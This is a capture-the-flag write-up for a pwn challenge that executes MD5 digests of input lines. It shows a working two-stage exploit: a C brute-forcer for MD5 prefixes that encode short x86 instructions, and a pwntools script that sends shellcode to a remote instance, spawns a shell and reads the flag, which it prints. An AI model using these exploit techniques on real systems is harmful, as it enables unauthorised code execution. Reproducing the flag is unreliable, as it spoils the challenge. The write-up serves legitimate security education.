Pwnhard
MD5
by Pavel Knespl (capyplivl)
"Story Writer 9000" reads input line by line, MD5-hashes each line, concatenates the raw 16-byte digests onto an RWX page, and calls it. Each line therefore contributes exactly 16 bytes of executed code, so you brute-force a preimage per 16-byte slot to assemble shellcode.
Solve
- Reverse
main: it reads until a blank line,mmaps aPROT_READ|WRITE|EXECpage, writesMD5(line)into 16-byte slots, then jumps to the page withrax= page base. - Per-slot trick: brute-forcing a full 16-byte digest is infeasible, so only pin
[instruction bytes][EB disp]and let the short jump skip the unbruteable junk to the next 16-byte boundary. Pin 3 bytes (2^24) after a 1-byte op, 4 bytes (2^32) after a 2-byte op. Instructions cannot straddle slots, so only 1-2 byte ops are usable. - A direct
execveneeds a 10-bytemovabs(one slot,2^96), so stage 1 is built from short ops thatread()real shellcode onto the same page, then jumps to it. Note: keep thereadlength small (push 0x40; pop rdx); an oversized length fails the kernel range check and returns-EFAULTwith nothing written.
push rax
pop rsi
push 0x40
pop rdx
xor eax,eax
push rax
pop rdi
syscall
jmp rsi
crack.cfinds an 11-char printable line whose MD5 starts with each pinned prefix:
static const char *CS="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%";
void *worker(void *p){
int id=((targ*)p)->id; char buf[16]; uint8_t out[16];
for(uint64_t ctr=id; !FOUND; ctr+=NTH){
uint64_t v=ctr; for(int i=0;i<11;i++){buf[i]=CS[v%65]; v/=65;}
md5_small((uint8_t*)buf,11,out);
if(!memcmp(out,PREFIX,PLEN) && __sync_bool_compare_and_swap(&FOUND,0,1)){
memcpy(RESULT,buf,11); RESULT[11]=0; return 0;
}
}
return 0;
}
solve.pyassembles the two-stage payload and runs it against the live instance:
import subprocess, hashlib, json
from pwn import *
context.arch = 'amd64'
BR = "./crack"; cache = json.load(open("lines.json"))
blocks = [
(b"\x50", 0x0d),
(b"\x5e", 0x0d),
(b"\x6a\x40", 0x0c),
(b"\x5a", 0x0d),
(b"\x31\xc0", 0x0c),
(b"\x50", 0x0d),
(b"\x5f", 0x0d),
(b"\x0f\x05", 0x0c),
(b"\xff\xe6", 0x0c),
]
def brute(pfx):
h = pfx.hex()
if h not in cache:
cache[h] = subprocess.check_output([BR, h, "14"]).decode().strip()
json.dump(cache, open("lines.json", "w"))
assert hashlib.md5(cache[h].encode()).digest()[:len(pfx)] == pfx
return cache[h]
lines = [brute(instr + b"\xeb" + bytes([disp])) for instr, disp in blocks]
stage1 = ("\n".join(lines) + "\n\n").encode()
stage2 = asm(shellcraft.amd64.linux.sh())
io = remote(HOST, PORT)
io.send(stage1)
io.recvuntil(b"interesting your story is!")
io.send(stage2)
io.sendline(b"cat /flag.txt")
io.interactive()
Flag: SVIUSCG{433b5688da307b0baa5588df6b578586}